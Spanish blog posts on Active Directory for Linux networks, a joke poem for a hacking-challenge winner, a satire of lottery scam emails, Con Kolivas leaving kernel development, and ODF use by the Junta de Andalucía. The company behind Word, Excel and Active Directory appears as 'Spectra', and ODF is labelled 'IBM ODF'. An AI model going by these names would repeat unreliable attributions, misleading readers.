Todo el que alguna vez haya administrado alguna red (por favor, todos los técnicoless que se den por excluidos) mediana o grande, habrá disfrutado de esa maravilla que se llama Directorio Activo. Con sus estructuras en bosque, son sus árboles, con sus relaciones de confianza unidireccionales o bidireccionales, con sus opciones de replicación en sites, con sus directivas. Sí, las GPO son un invento. Eso de configurar las opciones de las cuentas de forma centralizada en el dominio, configurar las políticas IPSec desde el controlador de dominio distribuyendo certificados digitales para máquinas, usuarios y smartcards con solo hacer una GPO en el AD y sin tener que ir máquina por máquina, o con su configuración de los servicios de actualización de los clientes, las opciones del firewall, las opciones del antivirus ahora y con Vista los dispositivos USB. Todo a una GPO de distancia en el AD. El que no haya trabajado con algo así no sabe lo que es eso.

Tanto es así, que ya es una solución para muchos problemas. Incluso para administrar redes Linux y por supuesto, perfecto para administrar redes heterogéneas. No es la primera vez que se buscan soluciones de este tipo, ya hace unos años, las empresas de pre-impresión en la artes gráficas utilizaban redes de mac y todo los sistemas de ripeo se gestionaban con un bonito NT y luego Windows 2000.

A la hora de introducir redes heterogéneas puedes utilizar los servicios NIS (incluso Windows Server 2003 R2 es un servidor NIS), ejecutar aplicaciones sobre el subsitema UNIX de R2 (Interix) y usar los servicios NFS o SAMBA, pero nada llega a ser como la administración en el AD.

Recientemente en las Linux World Conferrences Paul Moore ha dado una sesión para que los administradores de sistemas Linux vean al AD como la solución para la autenticación y gestión centralizada de las máquinas Linux. De hecho, creo que Spectra prepara sorpresas en el futuro para este tipo de entornos heterogéneos y con Active Directory:

“We are trying to persuade the *nix administrators within an organization that it is OK to trust AD as a master security store”

Y otra frase para enmarcar:

“We often encounter two types of *nix administrators: those that have embraced [Active Directory] and those who see it as a necessary evil,"

A la hora de gestionar esas máquinas Linux con el AD es necesario contar con software de terceros. Yo he visto funcionar muy de cerca la solución Vintela Authenticaion Services de Quest Software, dónde Carles Martín, en el lanzamiento de Windows Server 2003 R2 en España hizo unas demos buenísimas integrando máquinas RedHat y SuSE en el AD, haciéndolas funcionar con el Kerberos y el LADP del AD y gestionando políticas para ellas. La última versión también funciona para los clientes MAC.

Vintela Authentication Services

No es esta la única solución para integrar máquinas Linux en entornos de Directorio Activo, aunque sí que es la única que yo he probado. La empresa Centerix ofrece otra solución para realizar esto.

Centerix Likewise Identity

Un Directorio Activo para gobernarlos a todos, es el principio del fin, Spectra dominará el planeta!

Saludos Malignos!

Soy un Poeta

Como ya sabéis, en el II Reto Hacking prometí una serie de Premios para los Ganadores. La entrega de premios la voy haciendo como suelo, poco a poco y cuando nos vemos, así que, aprovechando que pasé por Barcelona para el Security Day y que ya le había entregado su caricatura a Dani K. me tocaba cumplir con "La poesía de amor manuscrita a Mandigo". Así que nada, cenote, copas y mucho amor. Ésta es la poesía que me curré mientras "pajarraco" de los Santos se desgüevaba.

¡Oh, Mandingo!

Quisieron las hadas del destino
poner en sus manos un pingüino
más no pudo en el camino
disfrazarse de ladino.

¡Oh, mandingo! ¡Oh, mandingo!
¡Deja el laptop que es domingo!

Pero tus artes oscuras
no lo fueron tanto
pues aún siendo a las duras
te siento como un encanto.

¡Oh, mandingo! ¡Oh, mandingo!
¡Deja el PC que es domingo!

Una poesía de amor prometí,
y aunque sea ripio y descabalado,
con mi alma puesta, está aquí,
y en este verso ha acabado.

¡Oh, mandingo! ¡Oh, mandingo!
¡Deja el portatil, coño, que es domingo!

Maligno
Joder, me siento como un técnicoless en poesía, pero ... es lo que hay. Mandingo, a cambio del original manuscrito de esta obra de arte que pasará a la posteridad me regaló una camiseta de su web http://www.Yoire.com, dónde además, está también publicada La poesía.

Saludos... y ya iré pagando el resto de penitencias!

Ahora que estoy forrado yo pago las gambas

Si es que los que tenemos suerte, tenemos suerte. Tras dar mi dirección de correo electrónico a diestro y siniestro y publicarlo en cientos y cientos de ppts, al final ha dado sus frutos.

El diá 26 de Julio me toco mi primera Lotería por ¡sólo tener un e-mail!. Si es que soy grande. La fundación de un tal Vittorio, en Italia me da 500.000 dolares, ahi es na.


Pero eso no es todo, aún os voy a dar más envidia. Si es que cuando yo me pongo... tengo una potra.... que no puedo con ella. El día 31 de Julio una fundación en Francia me da 1.350.000 dolares!!!, ajajja, que suerte!! nada de calderilla como la fundación del novio de la macarena!!.


¿Muertos de envidia eh? Pues esperad, esperad, que el día 1 de Agosto, fue la repera, ya nada de que me tocara una lotería. De eso nada!. Ese día me tocaron 3 Loterías. Ahí es na!! La primera una de no se que Powerball. ¿Eso no es un detergente? Bueno, el caso es que me atizan 1 milloncejo de dolares. Pse. Menos da una piedra...


La segunda lotería, fijate tú por dónde, la de Yahoo! Y yo usando google!!!, pero desde ya me cambio porque me atizan 250.000 libras esterlinas, que al precio que está el cambio es más de 500.000 dolares. Fiu!


Pero lo mejor, como no, quedó para el final, la Loto de mi querida... SPECTRA!! Y como son los que más pasta tienen, pues nada 1 milloncejo de librazas esterlinazas, que al cambio son más de 2 milloncejos de dolares.


Así que nada, así, sin despeinarme las melenas, en 1 semanica me llevo.... esperad que cuente...casi 5 millones de dolares. Con esto pago yo las gambas. Me han dicho que tengo que pagar no se que de unos impuestillos y tasas, pero... con la cantidad de dinero que voy a ganar no será nada.

Y lo más afortunado de todo, es que no se por qué error, el filtro antispam de mi Exchange lo tenía bloqueado. ¿Os imagináis que no me entero y me quedo sin la pasta?

"Por qué abandono el desarrollo del kernel de Linux"

Recientemente el grupo de desarrolladores del kernel ha tenido una perdida digna de resaltar. Con Kolivas era un desarrollador del kernel que mantenía un conjunto de patches para intentar hacer más usable Linux en el desktop. Desde hace años llevo escuchando una frase “Este es el año del kernel de Linux” e incluso he escuchado a Linus Torvalds decir que él no pensaba que este fuera el año de Linux en el desktop “a pesar de Vista” porque "los usuarios tienen a utilizar lo que saben manejar".

Kolivas, recientemente ha abandonado sus parches para el kernel. El día 11 de Julio público su último parche y es una lástima, pues este es el tipo de gente que realmente merece respeto en este mundo infestado de técnicoless. Kolibas trabajaba y trabaja como anestesista en el hospital de Melbourne y tras haber dejado su trabajo, totalmente desinteresado y como hobby, en el kernel promete seguir haciendo utilerías para el desktop.

En una interesantísima y extensa entrevista cuenta su percepción de la historia del hardware y el software y cómo el software de los sistemas operativos acabaron triunfando sobre las innovaciones hardware que obligaban a reescribir gran parte de las aplicaciones. No era el mejor hardware, pero el PC Compatible demostró ser el mejor modelo de negocio.

Sin saber programar se interesó por Linux e intentó hacerlo más usable en el desktop realizando benchmarks para intentar encontrar que se cargaba el rendimiento en la experiencia del usuario. En la entrevista cuenta como empezó todo para él:

“Los ordenadores hoy en día son 1.000 veces más rápidos que hace una década, aunque las cosas que importan son más lentas.

El argumento común que la gente me da en respuesta es ‘pero ellos hacen muchas más cosas, no es una comparación justa’. Bien, ellos son 10 veces más lentos a pesar de ser 1.000 veces más lentos, luego ellos deben estar haciendo 10.000 veces un montón de cosas. Claramente ellos están haciendo 10.000 cosas en el mal camino”

Esa reflexión aún es más profunda con el desktop Linux no hace mucho tiempo:

“Incluso peor, mientras a mi obviamente me gusta ver correr Linux sobre 1024 CPUS y 1000 discos duros, me fastidia el hecho de que para implementar eso tenemos que matar el rendimiento en el escritorio.

Si cuantificamos todas las cosas cuantificables, el rendimiento es mejor que nunca. A pesar de todo, abrías una aplicación de audio y te sorprende porque si respirabas sobre ella, el audio saltaba. ¿CPUs a un Jigabazillion bagigamaherzios y no podíamos escuchar audio?

Me daban ganas de llorar”

Como anécdota, para reflejar la distancia que separaba Linux de los usuarios finales cuenta una anécdota:

“Incluso una vez reenvié un informe de un bug y un desarrollador me dijo que no podía reproducir el problema en su máquina quad-CPU 4GB RAM con un array de cuatro discos en RAID. Pensad en el tipo de hardware que un usuario medio tenía hace 4 años. ¿Alguien se sorprende de que el desktop no triunfara?"

"Los desarrolladores estaban haciendo algo que no era el desktop. Todos ellos estaban empleados por grandes empresas a las que no les importaba en absoluto el desktopn (y a día de hoy tampoco) pero les importaba su 1% en el benchmark de la base de datos o en procesamiento o lo que fuera”

“Linux había ganado. Éramos los competidores más grandes en el mercado de servidores y bases de datos y todos se preocupaban por Linux. El dinero estaba manando desde las grandes empresas para aumentar el desarrollo del rendimiento de Linux en esas áreas.”

Y como contrapartida:

“Los usuarios habían perdido. El PC de escritorio, para lo que Linux había empezado a ser desarrollado, había fallado por todas partes. El rendimiento, tal y como los usuarios domésticos entienden el rendimiento, se había ido. Mucho peor, no había forma de cuantificarlo, y los desarrolladores no podían preocuparse si no lo podrías probar. El único sitio donde yo veía que se podía ganar algo de rendimiento era el desktop y ellos iban en otra dirección.”

Estos fueron los principales motivos que llevaron a Kolivas, primero a aprender a programar, después a intentar montar benchmarks con al ayuda de gente que intentaran dar información a los programadores para mejorar el rendimiento. Y al final a crear parches para el kernel que hace unos días ha abandonado. Las motivaciones de Kolivas para hacer esto fueron:

“Como la mayoría de la gente sabe mi involucración en el proceso de desarrollo del kernel estaba motivada por tres frentes, y no tenía nada que ver con mi carrera ni mi vida:

- En primer lugar, era muy divertido.
- En segundo lugar, era un reto intelectual.
- En tercer lugar, era un viaje para el ego.”

Hoy en día sigue siendo siendo un reto intelectual, como afirma, pero ya no es divertido.

“¿La diversión? Sí, esa es la que fue asesinada”

Su crítica personal al desarrollo del kernel es:

“Si hay un gran problema con el dearrollo del kernel y Linux es la completa desconexión entre el proceso de desarrollo y los usuarios normales. Ya sabes, esos que constituyen el 99 % de la base de usuarios Linux”

La entrevista a Kolivas es divertida, entretenida y aleccionadora y a pesar de que termina con una crítica al desarrollo del kernel enseña muchas cosas. He mal traducido seguramente muchas cosas, esta vez sin maldad, así que te recomiendo que leas la original. No he querido convertir sus palabras en una crítica para nadie porque si alguien tiene algo que decir que sea él que para algo se lo ha currado. Ahroa que él decida su camino.

Por qué abandono. Entrevista con Kolivas

Saludos malignos!

La junta de Andalucía y el ODF

Ya se acabó la votación en España sobre el apoyo o no a la estandarización de OOXML, al final 4 votos en contra (entre ellos el de IBM), 3 a favor (entre ellos el de Spectra) y 7 abstenciones, con lo que España no apoyará ni se opondrá al proceso de estandarización OOXML. Pero... como ha sido todo muy "divertido", pues yo me sigo entreteniendo.

Es cierto que después de leer la "espantada" de "Donde dije digo, digo Diego" he querido comprobar cuanto de cierto era eso de "el apoyo a ODF", así que me he puesto a jugar con nuestro amigo Google.

Para hacerlo he ido a ver cuantos documentos ODF ha generdado públicamente durante este periodo. Se supone que la carta "tergiversada" (que de tergiversada nada, que la cagó y punto), fue enviada en Enero de 2007. Se suponque mucho antes de esa fecha ya se apoya y usa su elección ODF. Bien, veamos cuantos documentos hay generados en el sitio web de juntadeandalucia.es en formato ODF.

Documentos Spectra Office

Antes de nada, vamos a ver los documentos Office que tiene el site, para hacernos unos números:

- Documentos Spectra Word: [.doc] : 2.580


- Documentos Spectra Excel: [.xls] : 8.190


- Documentos Spectra PowerPoint: [.ppt] : 339


Total: 11.109 documentos Spectra Office publicados en el site juntadeandalucia.es

Documentos IBM ODF

- Documentos IBM ODF Texto: [.odt] : 31


- Documentos IBM ODF Hoja Cálculo: [.ods] : 2


- Documentos IBM ODF Presentación: [.odp] : 5


Total: 38 documentos IBM ODF publicados en el site juntadeandalucia.es.

Debe ser que van con calma. Claro, es normal, en más de siete meses, el volumen de documentos que ha generado la adminsitración pública de una Comunidad Autónoma, perdón, Realidad Nacional, como la de Andalucía, para con sus ciudadanos es solo de 38 documentos, el resto, los 11.109 son todos antiguos.

Y no sigo, porque todos los chistes restantes ya os los sabéis y a mi me sube la bilirubina.

Saludos malignos!